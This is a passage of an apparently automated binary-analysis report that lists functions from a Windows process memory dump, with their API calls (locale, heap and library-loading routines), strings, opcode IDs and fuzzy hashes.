Instruction ID: d9cbdffa2241f6f7348cf9ff83bb959cee4c3db2275176bbb064fe1be7f53c2e
Opcode Fuzzy Hash: ec3aa41ee1bbab24dc4cc91a15548e5f4c7c82296dc4130f6f9624a124e34db8
Instruction Fuzzy Hash: 36129F22A18BC186E755DF2898442F9B7A4FF58748F859235EB9C83652EF78E184CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D74FC, Relevance: 1.8, APIs: 1, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa9a17c84631f24694286be807f1bdc77da852ac6aebd59918a91ba5045a8de4
Instruction ID: c54e3e428185c289de39c89eb717fbdc55b022b3c1dc1ecd48f141e3dfacf86c
Opcode Fuzzy Hash: aa9a17c84631f24694286be807f1bdc77da852ac6aebd59918a91ba5045a8de4
Instruction Fuzzy Hash: 94E17F32A14BC186E710EB61E8456FEB7A4FB94788F814632DE9D53786EF78D245C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D96F0, Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019CED60: GetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CED6F
Part of subcall function 00007FF7019CED60: SetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CEE0D

GetLocaleInfoW.KERNEL32 ref: 00007FF7019D9758

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: f19ed28c9a06443b4f76f003892c82d45a61231e97e2f1f0f8a4cb9cf495e8bb
Instruction ID: 64cc819469e1d9275b551e33970d6bbff8a1d95f5930b4e33d64ae037fa8bd2f
Opcode Fuzzy Hash: f19ed28c9a06443b4f76f003892c82d45a61231e97e2f1f0f8a4cb9cf495e8bb
Instruction Fuzzy Hash: 32318631A286C286EB64FF25D8453BAB3A0FF4478CF858135DA5E83289DF7CE4418710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D933C, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019CED60: GetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CED6F
Part of subcall function 00007FF7019CED60: SetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CEE0D

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF7019D9B27,?,00000000,00000092,?,?,00000000,?,00007FF7019CC40D), ref: 00007FF7019D93DA

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 54a656723d1c0daefe16de6bc7041392403fb25f7d9d32fd38c7db26daa6b155
Instruction ID: cf7b031003dd7aa6f673af933219ba90d7a5b4d48a0a583bf1ad8717ca3faaa3
Opcode Fuzzy Hash: 54a656723d1c0daefe16de6bc7041392403fb25f7d9d32fd38c7db26daa6b155
Instruction Fuzzy Hash: C511E767A2868589EB14AF15D8846BCF7A0FF40FA8F849135C61A433D4CFB8D5D1C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D98F8, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019CED60: GetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CED6F
Part of subcall function 00007FF7019CED60: SetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CEE0D

GetLocaleInfoW.KERNEL32(?,?,?,00007FF7019D96A1), ref: 00007FF7019D992F

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a637af331ea1ba783b8140a8efee19a7960234949eb552f2b17a6b63f98dc3e7
Instruction ID: bcb22fbe6b7cb2ab504c537a496eb6a41d614e47ee169a39b6a18d10ef9b8c7e
Opcode Fuzzy Hash: a637af331ea1ba783b8140a8efee19a7960234949eb552f2b17a6b63f98dc3e7
Instruction Fuzzy Hash: 2A113A32A2C5D382E7747B16D404679A260EF4476CF845235EA6E076C8CF79D8818750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D940C, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019CED60: GetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CED6F
Part of subcall function 00007FF7019CED60: SetLastError.KERNEL32(?,?,?,00007FF7019C4207,?,?,00000000,00007FF7019D176C), ref: 00007FF7019CEE0D

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF7019D9AE3,?,00000000,00000092,?,?,00000000,?,00007FF7019CC40D), ref: 00007FF7019D948A

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d51073a5d97c2ee87901268ef6e4b1dc081ba8eb3901c9bb52f83f9b5441274e
Instruction ID: 8094c8df745dded6d47bdbaccb7e03876eaf92ad450a0d3f674b114e6b3aef40
Opcode Fuzzy Hash: d51073a5d97c2ee87901268ef6e4b1dc081ba8eb3901c9bb52f83f9b5441274e
Instruction Fuzzy Hash: 0901F572F282C686E7107F15E844BB9B691EF40BACF848232C269076C5CFA89480C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D0A8C, Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF7019D0E91,?,?,?,?,?,?,?,?,00000000,00007FF7019D8988), ref: 00007FF7019D0ADB

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 6ad7c0013ea37637a295c6825eb927a33f3e23a9c6e7ef8ab318e9fae9b3b9f4
Instruction ID: 352ea00c8c89d9054a0d4fd2652fc4d5be9613b23fcfaaad0457d23d55d54513
Opcode Fuzzy Hash: 6ad7c0013ea37637a295c6825eb927a33f3e23a9c6e7ef8ab318e9fae9b3b9f4
Instruction Fuzzy Hash: 41F01972B28A8182E704EB15EC512AAA361FF987C4FC9813AEA4E93365CF7CD551C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C4830, Relevance: 1.4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

Strings

0, xrefs: 00007FF7019C49C9

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: c5fbf6cbf01be343a6e5b9647b6ef2f4414ee8b6868a977b6d285d6eabe8a5d9
Instruction ID: 76169d5bda3f8d156b14672900af29043c3ad41679dac6aaa9bc4906e7c9dada
Opcode Fuzzy Hash: c5fbf6cbf01be343a6e5b9647b6ef2f4414ee8b6868a977b6d285d6eabe8a5d9
Instruction Fuzzy Hash: 9561C721B2C2D246FB78A52958203FA97919F42B4CFC41131DDC91779ACFADE842CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D48D8, Relevance: 1.4, APIs: 1, Instructions: 137COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7019D497D

Part of subcall function 00007FF7019CE56C: RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7019CEF39,?,?,0000D4AACEF2318E,00007FF7019C57A9,?,?,?,?,00007FF7019D507E,?,?,00000000), ref: 00007FF7019CE5C1

Part of subcall function 00007FF7019CE5E4: HeapFree.KERNEL32(?,?,00007FF7019CD60F,00007FF7019D7DC0,?,?,?,00007FF7019D8143,?,?,0000D4AACEF2318E,00007FF7019D8688,?,?,?,00007FF7019D85BB), ref: 00007FF7019CE5FA
Part of subcall function 00007FF7019CE5E4: GetLastError.KERNEL32(?,?,00007FF7019CD60F,00007FF7019D7DC0,?,?,?,00007FF7019D8143,?,?,0000D4AACEF2318E,00007FF7019D8688,?,?,?,00007FF7019D85BB), ref: 00007FF7019CE60C

Part of subcall function 00007FF7019DB76C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7019DB79A

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateFree_invalid_parameter_noinfo
String ID:
API String ID: 3806578645-0
Opcode ID: 36de505baa864ede649cdf5f6477823685b18e74db64a0f285030efd0df307b8
Instruction ID: 194e9062009c4e7e88e0cd1001900ab22935793ea3e228ad61bd35c3c58568aa
Opcode Fuzzy Hash: 36de505baa864ede649cdf5f6477823685b18e74db64a0f285030efd0df307b8
Instruction Fuzzy Hash: A941E921B296C342FB20BB566C0577AE680BF95BC8FD44135EE4D4BB85EF7CE5018624

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D9D3C, Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7019D9D40

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b58a01c3eaf95072861ef5bcb5425f0a8d156f049cdaa0e6965f9f5ebbbf4e57
Instruction ID: 0bf92a5595680940dc68f860b361116135d62527b22656f42b92e35ecb8b2ae3
Opcode Fuzzy Hash: b58a01c3eaf95072861ef5bcb5425f0a8d156f049cdaa0e6965f9f5ebbbf4e57
Instruction Fuzzy Hash: 82B09224E27A82C2EB097B116C8A21862A47F88704FEA4039C10D81320DF6C20A64720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C8549, Relevance: .5, Instructions: 535COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5553e3581ede3cd1b10b1cabc268ded416cfed56c3084098db9f77835179c864
Instruction ID: 3c4f0afa79ad50bad20d2260c6c412d5e3cbd91c537838d877dfc30def76b337
Opcode Fuzzy Hash: 5553e3581ede3cd1b10b1cabc268ded416cfed56c3084098db9f77835179c864
Instruction Fuzzy Hash: 7F424B2193DE8689E353AB35EC11535A7A8BF5238CF81C737E84E37654DFECA5428620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CC25C, Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastNameTranslatetry_get_function$CodePageValid_invalid_parameter_noinfo
String ID:
API String ID: 3827717455-0
Opcode ID: 9208ab3a8c0750dcd223613ebaccc8e7d7835f1e4260380340b09507b72bd65c
Instruction ID: eafad9838b7c1bca47a6a6e2f93fcf42f4b957323dc9a0aa36ce7c8e3f389441
Opcode Fuzzy Hash: 9208ab3a8c0750dcd223613ebaccc8e7d7835f1e4260380340b09507b72bd65c
Instruction Fuzzy Hash: E8C1C626A286C245FB60AB619D107BAABA0FF9478CFC04035DECD97694DFBCE545CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D8A4C, Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CurrentFeatureInfoLocalePresentProcessProcessortry_get_function
String ID:
API String ID: 959782435-0
Opcode ID: 5203609aa4bad29ed3e77321071a6e29ab0ed9482c732223ee7966cf5500c27a
Instruction ID: e34527a36ffc6f7eb3b1f36d0b17d8fbba1969bdc0969d2ba4d4b05b734c0cd5
Opcode Fuzzy Hash: 5203609aa4bad29ed3e77321071a6e29ab0ed9482c732223ee7966cf5500c27a
Instruction Fuzzy Hash: B2B1D762E296C681EB64BF31D8056B9B361FF44B8CF844131DA49836CADFBCE541C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019CD558, Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 2e11037db0977f4f005a61b76b88ce4246510ff31c1dda84676166b2e04852ae
Instruction ID: 7798f461cfc0416a357adaa380a97538effbbe593fd6a9a805e14827f37d12b8
Opcode Fuzzy Hash: 2e11037db0977f4f005a61b76b88ce4246510ff31c1dda84676166b2e04852ae
Instruction Fuzzy Hash: A341D122725A9482EF04DF6ADD14169B3A1BB48FD8B899037EE4E97B58DF7CD142C304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D5140, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bbf4866a357c91611f18bb3e57e28d24af8732f5dd86d7352e5581cc33c1978
Instruction ID: fc29c1bbe230ef08637efd8fb11f5b37adb2503a8cacddb0421ca471a6e287ca
Opcode Fuzzy Hash: 9bbf4866a357c91611f18bb3e57e28d24af8732f5dd86d7352e5581cc33c1978
Instruction Fuzzy Hash: 7EF06871B282959FEB94AF2CA8526297BD0FB48394F91813DD68D83B04DB7C90518F14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019BE37C, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c98899bf0b4cc2eff70223c8b4096042381509e14587035cd5d17786f15a567
Instruction ID: e0ae3ce696410f124838082543cbde4aec6b53cffea6c7606632e5624522687d
Opcode Fuzzy Hash: 2c98899bf0b4cc2eff70223c8b4096042381509e14587035cd5d17786f15a567
Instruction Fuzzy Hash: 71A0022196DC87D0E704EB00ED954B0A3B4EF60308BD58071C01E530A0EFBCE445C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019D1340, Relevance: 36.8, APIs: 10, Strings: 11, Instructions: 57COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF7019D135B
try_get_function.LIBVCRUNTIME ref: 00007FF7019D137A

Part of subcall function 00007FF7019D0B08: GetProcAddress.KERNEL32(?,?,00000002,00007FF7019D0FAA,?,?,0000D4AACEF2318E,00007FF7019CEF26,?,?,0000D4AACEF2318E,00007FF7019C57A9), ref: 00007FF7019D0C60

try_get_function.LIBVCRUNTIME ref: 00007FF7019D1399

Part of subcall function 00007FF7019D0B08: LoadLibraryExW.KERNEL32(?,?,00000002,00007FF7019D0FAA,?,?,0000D4AACEF2318E,00007FF7019CEF26,?,?,0000D4AACEF2318E,00007FF7019C57A9), ref: 00007FF7019D0BAB
Part of subcall function 00007FF7019D0B08: GetLastError.KERNEL32(?,?,00000002,00007FF7019D0FAA,?,?,0000D4AACEF2318E,00007FF7019CEF26,?,?,0000D4AACEF2318E,00007FF7019C57A9), ref: 00007FF7019D0BB9
Part of subcall function 00007FF7019D0B08: LoadLibraryExW.KERNEL32(?,?,00000002,00007FF7019D0FAA,?,?,0000D4AACEF2318E,00007FF7019CEF26,?,?,0000D4AACEF2318E,00007FF7019C57A9), ref: 00007FF7019D0BFB

try_get_function.LIBVCRUNTIME ref: 00007FF7019D13B8

Part of subcall function 00007FF7019D0B08: FreeLibrary.KERNEL32(?,?,00000002,00007FF7019D0FAA,?,?,0000D4AACEF2318E,00007FF7019CEF26,?,?,0000D4AACEF2318E,00007FF7019C57A9), ref: 00007FF7019D0C34

try_get_function.LIBVCRUNTIME ref: 00007FF7019D13D7
try_get_function.LIBVCRUNTIME ref: 00007FF7019D13F6
try_get_function.LIBVCRUNTIME ref: 00007FF7019D1415
try_get_function.LIBVCRUNTIME ref: 00007FF7019D1434
try_get_function.LIBVCRUNTIME ref: 00007FF7019D1453
try_get_function.LIBVCRUNTIME ref: 00007FF7019D1472

Strings

LocaleNameToLCID, xrefs: 00007FF7019D1477, 00007FF7019D148A
GetDateFormatEx, xrefs: 00007FF7019D139E, 00007FF7019D13B1
GetLocaleInfoEx, xrefs: 00007FF7019D13BD, 00007FF7019D13D0
LCMapStringEx, xrefs: 00007FF7019D1439, 00007FF7019D144C
EnumSystemLocalesEx, xrefs: 00007FF7019D137F, 00007FF7019D1392
LCIDToLocaleName, xrefs: 00007FF7019D1458, 00007FF7019D146B
AreFileApisANSI, xrefs: 00007FF7019D1354
IsValidLocaleName, xrefs: 00007FF7019D141A, 00007FF7019D142D
GetTimeFormatEx, xrefs: 00007FF7019D13DC, 00007FF7019D13EF
CompareStringEx, xrefs: 00007FF7019D1360, 00007FF7019D1373
GetUserDefaultLocaleName, xrefs: 00007FF7019D13FB, 00007FF7019D140E

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: try_get_function$Library$Load$AddressErrorFreeLastProc
String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
API String ID: 3255926029-3252031757
Opcode ID: ff26fa549664a9e6c3b543b250e110c73e0e93b052ee1395b2146854f55f0003
Instruction ID: 310834c7b440f3babf939c56e7781635c69bc7b74ad0d2ce21de5b47dce14017
Opcode Fuzzy Hash: ff26fa549664a9e6c3b543b250e110c73e0e93b052ee1395b2146854f55f0003
Instruction Fuzzy Hash: DD31676892CA87A1FB44FB50ED456F4A3A1EF0530CFC6C876D00D421A59FFCA659C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B8AE0, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B8B56
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7019B8BA2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B8CE7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B8D00
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B8D13
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B8D19

Strings

true, xrefs: 00007FF7019B8C49
false, xrefs: 00007FF7019B8C19
bad locale name, xrefs: 00007FF7019B8D06

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: Concurrency::cancel_current_taskstd::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 4121308752-1062449267
Opcode ID: 2acc47f3ee5460246e562f599ce1c871837090b8d66bb40a8f3797986fa1f7c3
Instruction ID: bf15088811a42529f32b8faa4caf5a19ed5d7ab2064b27921cadb32f46d28b4b
Opcode Fuzzy Hash: 2acc47f3ee5460246e562f599ce1c871837090b8d66bb40a8f3797986fa1f7c3
Instruction Fuzzy Hash: 2F619262A2A78286EB15EF70D9902BCB3A4EF4474CF944134DA8D27A99DFBCE455C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019B8D20, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 178COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7019B8DAB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7019B8DFD
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF7019B8F98
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7019B8FC7

Strings

true, xrefs: 00007FF7019B8E96
false, xrefs: 00007FF7019B8E80
bad locale name, xrefs: 00007FF7019B8FCD

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 3230409043-1062449267
Opcode ID: 81bd60a1d7d5c08784e6758f3cc98d711b41acc909d01d1c7b7e009cefe83931
Instruction ID: 5fd8095b5a80722443698b61adfe39a3daceded115be857230791b2e9d872b16
Opcode Fuzzy Hash: 81bd60a1d7d5c08784e6758f3cc98d711b41acc909d01d1c7b7e009cefe83931
Instruction Fuzzy Hash: 5B816D22A29BC186EB00EF30D9802ADB7A4FF8874CF944135EA8D17A59DFB8D551C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7019C0D0C, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7019C3014: __GetUnwindTryBlock.LIBCMT ref: 00007FF7019C3057
Part of subcall function 00007FF7019C3014: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7019C307F

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7019C0E40
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7019C108F
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7019C11A4

Strings

csm, xrefs: 00007FF7019C0DE9
csm, xrefs: 00007FF7019C0D82
csm, xrefs: 00007FF7019C0E63

Memory Dump Source

Source File: 00000024.00000002.561301922.00007FF7019B1000.00000020.00020000.sdmp, Offset: 00007FF7019B0000, based on PE: true

Associated: 00000024.00000002.561282629.00007FF7019B0000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561384565.00007FF7019DF000.00000002.00020000.sdmp Download File
Associated: 00000024.00000002.561406725.00007FF7019F3000.00000004.00020000.sdmp Download File
Associated: 00000024.00000002.561419952.00007FF7019F6000.00000002.00020000.sdmp Download File

Similarity

API ID: BlockUnwind$CatchExecutionFrameHandler3::Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 910750162-393685449
Opcode ID: 0ad3f7242adc77171fa2c3354329154454959fcab71533e3599a90e7dc3b62df
Instruction ID: 3562dd96ecd71d771d4fdd8b060618220b55d72b614b696698b4d826fe42fed3
